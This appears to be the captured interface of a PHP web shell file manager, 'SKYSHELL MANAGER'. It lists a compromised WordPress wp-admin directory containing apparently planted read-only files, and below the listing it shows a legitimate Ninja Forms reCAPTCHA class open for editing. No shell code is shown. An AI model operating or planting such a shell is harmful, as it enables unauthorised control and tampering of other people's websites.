📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Recaptcha.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Class NF_Fields_Recaptcha */ class NF_Fields_Recaptcha extends NF_Abstracts_Field { protected $_name = 'recaptcha'; protected $_type = 'recaptcha'; protected $_section = 'misc'; protected $_icon = 'filter'; protected $_templates = 'recaptcha'; protected $_test_value = ''; protected $_settings = array( 'label', 'classes' ); public function __construct() { parent::__construct(); $this->_nicename = esc_html__( 'Recaptcha v2', 'ninja-forms' ); $this->_settings[ 'size '] = array( 'name' => 'size', 'type' => 'select', 'label' => esc_html__( 'Visibility', 'ninja-forms' ), 'options' => array( array( 'label' => esc_html__( 'Visible', 'ninja-forms' ), 'value' => 'visible' ), array( 'label' => esc_html__( 'Invisible', 'ninja-forms' ), 'value' => 'invisible' ), ), 'width' => 'one-half', 'group' => 'primary', 'value' => 'visible', 'help' => esc_html__( 'Select whether to display a "I\'m not a robot" field or to detect if the user is a robot in the background.', 'ninja-forms' ), ); add_filter( 'nf_sub_hidden_field_types', array( $this, 'hide_field_type' ) ); } public function localize_settings( $settings, $form ) { $settings['site_key'] = !empty(Ninja_Forms()->get_setting( 'recaptcha_site_key' )) ? Ninja_Forms()->get_setting( 'recaptcha_site_key' ) : Ninja_Forms()->get_setting( 'recaptcha_site_key_v3' ); $settings['theme'] = Ninja_Forms()->get_setting( 'recaptcha_theme' ); $settings['theme'] = ( $settings['theme'] ) ? $settings['theme'] : 'light'; $settings['lang'] = Ninja_Forms()->get_setting( 'recaptcha_lang' ); return $settings; } public function validate( $field, $data ) { if ( empty( $field['value'] ) ) { return esc_html__( 'Please complete the recaptcha', 'ninja-forms' ); } $secret_key = !empty(Ninja_Forms()->get_setting( 'recaptcha_secret_key' )) ? Ninja_Forms()->get_setting( 'recaptcha_secret_key' ) : Ninja_Forms()->get_setting( 'recaptcha_secret_key_v3' ); $url = 'https://www.google.com/recaptcha/api/siteverify?secret=' . $secret_key . '&response='.sanitize_text_field( $field['value'] ); $resp = wp_remote_get( esc_url_raw( $url ) ); if ( !is_wp_error( $resp ) ) { $body = wp_remote_retrieve_body( $resp ); $response = json_decode( $body ); if ( $response->success === false ) { if ( !empty( $response->{'error-codes'} ) && $response->{'error-codes'} != 'missing-input-response' ) { return array( esc_html__( 'Please make sure you have entered your Site & Secret keys correctly', 'ninja-forms' ) ); }else { return array( esc_html__( 'Captcha mismatch. Please enter the correct value in captcha field', 'ninja-forms' ) ); } } } } function hide_field_type( $field_types ) { $field_types[] = $this->_name; return $field_types; } }
Save